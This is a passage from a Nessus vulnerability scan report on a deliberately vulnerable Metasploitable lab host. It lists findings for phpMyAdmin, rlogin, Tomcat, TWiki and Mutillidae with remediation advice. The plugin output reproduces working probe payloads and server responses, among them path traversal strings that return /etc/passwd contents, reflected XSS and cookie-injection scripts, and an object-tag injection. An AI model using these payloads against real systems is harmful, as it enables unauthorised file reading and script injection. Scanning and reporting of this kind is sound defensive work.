An unauthenticated, remote attacker can exploit these issues to execute arbitrary PHP code.

See Also

https://www.tenable.com/security/research/tra-2009-02

http://www.phpmyadmin.net/home_page/security/PMASA-2009-4.php

Solution

Upgrade to phpMyAdmin 3.1.3.2. Alternatively, apply the patches referenced in the project's advisory.

Risk Factor

High

VPR Score

6.7

EPSS Score

0.0294

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	34526
CVE	CVE-2009-1285
XREF	TRA:TRA-2009-02
XREF	SECUNIA:34727
XREF	CWE:94

Plugin Information

Published: 2009/04/16, Modified: 2022/04/11

Plugin Output

tcp/80/www

10205 - rlogin Service Detection

Synopsis

The rlogin service is running on the remote host.

Description

The rlogin service is running on the remote host. This service is vulnerable since data is passed between the rlogin client and server in cleartext. A man-in-the-middle attacker can exploit this to sniff logins and passwords. Also, it may allow poorly authenticated logins without passwords. If the host is vulnerable to TCP sequence number guessing (from any network) or IP spoofing (including ARP hijacking on a local network) then it may be possible to bypass authentication.

Finally, rlogin is an easy way to turn file-write access into full logins through the .rhosts or rhosts.equiv files.

Solution

Comment out the 'login' line in /etc/inetd.conf and restart the inetd process. Alternatively, disable this service and use SSH instead.

Risk Factor

High

VPR Score

6.7

EPSS Score

0.015

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

CVE	CVE-1999-0651

Exploitable With

Metasploit (true)

Plugin Information

Published: 1999/08/30, Modified: 2022/04/11

Plugin Output

tcp/513/rlogin

12085 - Apache Tomcat Default Files

Synopsis

The remote web server contains default files.

Description

The default error page, default index page, example JSPs and/or example servlets are installed on the remote Apache Tomcat server. These files should be removed as they may help an attacker uncover information about the remote Tomcat install or host itself.

See Also

http://www.nessus.org/u?4cb3b4dd

https://www.owasp.org/index.php/Securing_tomcat

Solution

Delete the default index page and remove the example JSP and servlets. Follow the Tomcat or OWASP instructions to replace or modify the default error page.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2004/03/02, Modified: 2024/09/03

Plugin Output

tcp/8180/www

```
The following default files were found :

http://Epic-Metasploitable.epicode:8180/tomcat-docs/index.html

The server is not configured to return a custom page in the event of a client requesting a non-
existent resource.
This may result in a potential disclosure of sensitive information about the server to attackers.
```

11411 - Backup Files Disclosure

Synopsis

It is possible to retrieve file backups from the remote web server.

Description

By appending various suffixes (ie: .old, .bak, ~, etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

See Also

http://www.nessus.org/u?8f3302c6

Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/03/17, Modified: 2023/07/10

Plugin Output

tcp/80/www

```
It is possible to read the following backup files :

  - File                  : /twiki/bin/view/Main/WebHome~
    URL                   : http://Epic-Metasploitable.epicode/twiki/bin/view/Main/WebHome~
    Response body snippet :
    ------------------------------ snip ------------------------------
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "ht [...]
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    <title> TWiki . Main . WebHome   </title>
    <meta http-equiv="Content-Type" content="text/html; charset=ISO-88 [...]
    <base href="http://Epic-Metasploitable.epicode/twiki/bin/view/Main [...]
    </head>
    <body bgcolor="#ffffff">
    <a name="PageTop"></a>
    <form name="main" action="/twiki/bin/view/Main/WebHome">
```

```
    [...]
    ------------------------------ snip ------------------------------

  - File                  : /twiki/bin/search/Main/SearchResult~
    URL                   : http://Epic-Metasploitable.epicode/twiki/bin/search/Main/SearchResult~
    Response body snippet :
    ------------------------------ snip ------------------------------
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "ht [...]
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    <title>TWiki . Main (search result)</title>
    <meta http-equiv="Content-Type" content="text/html; charset=ISO-88 [...]
    <meta name="robots" content="noindex" />
    <base href="http://Epic-Metasploitable.epicode/twiki/bin/view/Main [...]
    </head>
    <body bgcolor="#ffffff">
    <a name="PageTop"></a>
    [...]
    ------------------------------ snip ------------------------------
```

40984 - Browsable Web Directories

Synopsis

Some directories on the remote web server are browsable.

Description

Multiple Nessus plugins identified directories on the web server that are browsable.

See Also

http://www.nessus.org/u?0a35179e

Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following directories are browsable :

http://Epic-Metasploitable.epicode/dav/
http://Epic-Metasploitable.epicode/dav/CJUlxuON.htm/
http://Epic-Metasploitable.epicode/dvwa/dvwa/
http://Epic-Metasploitable.epicode/dvwa/dvwa/css/
http://Epic-Metasploitable.epicode/dvwa/dvwa/images/
http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/
http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/
http://Epic-Metasploitable.epicode/dvwa/dvwa/js/
http://Epic-Metasploitable.epicode/mutillidae/documentation/
http://Epic-Metasploitable.epicode/mutillidae/styles/
```

```
http://Epic-Metasploitable.epicode/mutillidae/styles/ddsmoothmenu/
http://Epic-Metasploitable.epicode/test/
http://Epic-Metasploitable.epicode/test/testoutput/
```

44136 - CGI Generic Cookie Injection Scripting

Synopsis

The remote web server is prone to cookie injection attacks.

Description

The remote web server hosts at least one CGI script that fails to adequately sanitize request strings with malicious JavaScript.

By leveraging this issue, an attacker may be able to inject arbitrary cookies. Depending on the structure of the web application, it may be possible to launch a 'session fixation' attack using this mechanism.

Please note that :

- Nessus did not check if the session fixation attack is feasible.

- This is not the only vector of session fixation.

See Also

https://en.wikipedia.org/wiki/Session_fixation

https://www.owasp.org/index.php/Session_Fixation

http://www.acros.si/papers/session_fixation.pdf

http://projects.webappsec.org/w/page/13246960/Session%20Fixation

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:472
XREF	CWE:642
XREF	CWE:715
XREF	CWE:722

Plugin Information

Published: 2010/01/25, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cookie manipulation :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<script>document.cookie="testgael=2900;"</script>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estgael=2900;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testgael=2900;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<script>document.cookie="testgael=2900;"</scr
ipt>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estgael=2900;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testgael=2900;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

/mutillidae/index.php?do=toggle-hints&page=<script>document.cookie="test
gael=2900;"</script>&username=anonymous

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<script>document.cookie="t
estgael=2900;"</script>">Toggle Hints</a></td><td><a href="./index.
php?do=toggle-security&page=<script>document.cookie="testgael=2900;"</sc
ript>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------
```

49067 - CGI Generic HTML Injections (quick test)

Synopsis

The remote web server may be prone to HTML injections.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML to be executed in a user's browser within the security context of the affected site.

The remote web server may be vulnerable to IFRAME injections or cross-site scripting attacks :

- IFRAME injections allow 'virtual defacement' that might scare or anger gullible users. Such injections are sometimes implemented for 'phishing' attacks.

- XSS are extensively tested by four other scripts.

- Some applications (e.g. web forums) authorize a subset of HTML without any ill effect. In this case, ignore this warning.

See Also

http://www.nessus.org/u?602759bc

Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:80
XREF	CWE:86

Plugin Information

Published: 2010/09/01, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to HTML injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=%00<<<<"arfsnp%20>>>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=.<<<<"arfsnp >>>">Toggle H
ints</a></td><td><a href="./index.php?do=toggle-security&page=.<<<<
"arfsnp >>>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=%00<<<
<"arfsnp%20>>>

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file .<<<<"arfsnp >>>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=%00<<<<"arfsnp%20>>>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=.<<<<"arfsnp >>>">Toggle H
ints</a></td><td><a href="./index.php?do=toggle-security&page=.<<<<
"arfsnp >>>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

/mutillidae/index.php?do=toggle-hints&page=%00<<<<"arfsnp%20>>>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=%00<<<<"arfsnp%20>>>">Togg
le Hints</a></td><td><a href="./index.php?do=toggle-security&page=%
00<<<<"arfsnp%20>>>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
----------------- [...]
```

42872 - CGI Generic Local File Inclusion (2nd pass)

Synopsis

Arbitrary code may be run on this server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a local file and disclose its contents, or even execute arbitrary code on the remote host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/11/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
-------- request --------
GET /mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
------------------------

-------- output --------
<!-- Begin Content -->
<br />
<b>Warning</b>:  include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;) [<a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
 on line <b>469</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------

-------- request --------
POST /mutillidae/index.php HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Cookie: showhints=1; PHPSESSID=57e7559f2fdf1f3f729f438c49dab99b
Content-Length: 74
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
do=toggle-hints&page=<IMG SRC="javascript:alert(104);">&username=anonymous------------------------

-------- output --------
<!-- Begin Content -->
<br />
<b>Warning</b>:  include(&lt;IMG SRC=&quot;javascript:alert(104);&quot;&
gt;) [<a href='function.include'>function.include</a>]: failed to open s
tream: No such file or directory in <b>/var/www/mutillidae/index.php</b>
 on line <b>469</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
------------------------

-------- request --------
GET /mutillidae/?page=<IMG%20SRC="javascript:alert(104);"> HTTP/1.1
Host: Epic-Metasploitable.epicode
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Connect [...]
```

39467 - CGI Generic Path Traversal

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local files inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

https://en.wikipedia.org/wiki/Directory_traversal

http://cwe.mitre.org/data/definitions/22.html

http://projects.webappsec.org/w/page/13246952/Path%20Traversal

http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection

http://www.nessus.org/u?4de3840d

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address path traversal flaws.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723

XREF	CWE:813
XREF	CWE:928
XREF	CWE:932

Plugin Information

Published: 2009/06/19, Modified: 2022/04/07

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=../../../../../../../../../etc/passwd%00index.html

-------- output --------
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=../../../../../../../../../etc/passwd%00index.ht
ml

-------- output --------
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------
```

46195 - CGI Generic Path Traversal (extended test)

Synopsis

Arbitrary files may be accessed or executed on the remote host.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings and are affected by directory traversal or local file inclusion vulnerabilities.

By leveraging this issue, an attacker may be able to read arbitrary files on the web server or execute commands.

See Also

https://en.wikipedia.org/wiki/Directory_traversal

http://projects.webappsec.org/w/page/13246952/Path%20Traversal

http://projects.webappsec.org/w/page/13246949/Null%20Byte%20Injection

http://www.nessus.org/u?70f7aa09

Solution

Either restrict access to the vulnerable application or contact the vendor for an update.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

XREF	OWASP:OWASP-AZ-001
XREF	CWE:21
XREF	CWE:22
XREF	CWE:632
XREF	CWE:715
XREF	CWE:723
XREF	CWE:813
XREF	CWE:928
XREF	CWE:932

Plugin Information

Published: 2010/04/30, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal (extended test) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=./.././../../../../../../../../../../etc/passwd

-------- output --------
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=./../../../../../../../../../../../etc/passwd

-------- output --------
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------


Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to directory traversal (extended test) :

/mutillidae/index.php [do=toggle-hints&page=./../../../../../../../../../../../
etc/passwd&username=anonymous]

-------- output --------
<blockquote>
<!-- Begin Content -->
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
------------------------
```

47831 - CGI Generic XSS (comprehensive test)

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings of malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS are likely to be 'non-persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

http://www.nessus.org/u?ea9a0369

http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:84
XREF	CWE:85
XREF	CWE:86
XREF	CWE:87
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692

XREF	CWE:712
XREF	CWE:722
XREF	CWE:725
XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2010/07/26, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (comprehensive test) :

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template=%FF%FE
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%32%30%33%29%3C%2F%73%63%72%69
%70%74%3E

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file ##<script>alert(203)</script>.tmpl not found or template d
irectory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<%00script>alert(219);</script%00>

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<.script>alert(219);</scri
pt.>">Toggle Hints</a></td><td><a href="./index.php?do=toggle-secur
ity&page=<.script>alert(219);</script.>">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------
```

55903 - CGI Generic XSS (extended patterns)

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts one or more CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site. These XSS vulnerabilities are likely to be 'non-persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

http://www.nessus.org/u?ea9a0369

http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:86
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692
XREF	CWE:712
XREF	CWE:722
XREF	CWE:725

XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2011/08/03, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (extended patterns) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=504%20onerror="alert(504);

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=504 onerror="alert(504);">
Toggle Hints</a></td><td><a href="./index.php?do=toggle-security&pa
ge=504 onerror="alert(504);">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=504%20onerror="alert(504);

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=504 onerror="alert(504);">
Toggle Hints</a></td><td><a href="./index.php?do=toggle-security&pa
ge=504 onerror="alert(504);">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://Epic-Metasploitable.epicode/mutillidae/?page=504%20onerror="alert(504);


Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (extended patterns) :

/mutillidae/index.php [do=toggle-hints&page=504 onerror="alert(504);]

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=504 onerror="alert(504);">
```

```
Toggle Hints</a></td><td><a href="./index.php?do=toggle-security&pa
ge=504 onerror="alert(504);">Toggle Security</a></td>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------
```

39466 - CGI Generic XSS (quick test)

Synopsis

The remote web server is prone to cross-site scripting attacks.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings with malicious JavaScript. By leveraging this issue, an attacker may be able to cause arbitrary HTML and script code to be executed in a user's browser within the security context of the affected site.

These XSS are likely to be 'non persistent' or 'reflected'.

See Also

https://en.wikipedia.org/wiki/Cross_site_scripting#Non-persistent

http://www.nessus.org/u?ea9a0369

http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade to address any cross-site scripting vulnerabilities.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF	CWE:20
XREF	CWE:74
XREF	CWE:79
XREF	CWE:80
XREF	CWE:81
XREF	CWE:83
XREF	CWE:86
XREF	CWE:116
XREF	CWE:442
XREF	CWE:692
XREF	CWE:712
XREF	CWE:722

XREF	CWE:725
XREF	CWE:751
XREF	CWE:801
XREF	CWE:811
XREF	CWE:928
XREF	CWE:931

Plugin Information

Published: 2009/06/19, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (quick test) :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=<IMG%20SRC="javascript:alert(104);">

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a></td><td><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td
>
<td><a href="set-up-database.php">Reset DB</a></td>
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------

+ The 'template' parameter of the /twiki/bin/oops/Main/WebHomemailto:webmasteryour/company CGI :

/twiki/bin/oops/Main/WebHomemailto:webmasteryour/company?template="><obj
ect%20type="text/html"%20data="http://www.example.com/include.html"></ob
ject>

-------- output --------
<html><body>
<h1>TWiki Installation Error</h1>
Template file "><object type="text/html" data="http://www.example.com/in
clude.html"></object>.tmpl not found or template directory
/var/www/twiki/templates not found.<p />
Check the $templateDir variable in TWiki.cfg.
------------------------

+ The 'page' parameter of the /mutillidae/index.php CGI :

/mutillidae/index.php?page=<IMG%20SRC="javascript:alert(104);">

-------- output --------
<a href="./index.php?page=login.php">Login/Register</a>
</td>
<td><a href="./index.php?do=toggle-hints&page=<IMG SRC="javascript:alert
(104);">">Toggle Hints</a></td><td><a href="./index.php?do=toggle-s
ecurity&page=<IMG SRC="javascript:alert(104);">">Toggle Security</a></td
>
<td><a href="set-up-database.php">Reset DB</a></td>
```

```
<td><a href="./index.php?page=show-log.php">View Log</a></td>
------------------------


Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to cross-site scripting (quick test) :

/mutillidae/index.php [do=toggle-hints&page=<IMG SRC="javascript:alert(1
04);">&username [...]
```

11213 - HTTP TRACE / TRACK Methods Allowed

Synopsis

Debugging functions are enabled on the remote web server.

Description

The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections.

See Also

http://www.nessus.org/u?e979b5cb

http://www.apacheweek.com/issues/03-01-24

https://download.oracle.com/sunalerts/1000718.1.html

Solution

Disable these HTTP methods. Refer to the plugin output for more information.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

VPR Score

4.0

EPSS Score

0.0225

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	9506
BID	9561
BID	11604
BID	33374
BID	37995
CVE	CVE-2003-1567
CVE	CVE-2004-2320
CVE	CVE-2010-0386
XREF	CERT:288308
XREF	CERT:867593
XREF	CWE:16
XREF	CWE:200

Plugin Information

Published: 2003/01/23, Modified: 2024/04/09

Plugin Output

tcp/80/www

```
To disable these methods, add the following lines for each virtual
host in your configuration file :

    RewriteEngine on
    RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK)
    RewriteRule .* - [F]

Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2
support disabling the TRACE method natively via the 'TraceEnable'
directive.

Nessus sent the following TRACE request : \n\n------------------------------ snip
 ------------------------------\nTRACE /Nessus1897298333.html HTTP/1.1
Connection: Close
Host: Epic-Metasploitable.epicode
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

------------------------------ snip ------------------------------\n\nand received the
 following response from the remote server :\n\n------------------------------ snip
 ------------------------------\nHTTP/1.1 200 OK
Date: Tue, 04 Feb 2025 15:49:39 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: message/http


TRACE /Nessus1897298333.html HTTP/1.1
Connection: Keep-Alive
```

```
Host: Epic-Metasploitable.epicode
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8

------------------------------ snip ------------------------------\n
```

139915 - ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS

Synopsis

The remote name server is affected by a denial of service vulnerability.

Description

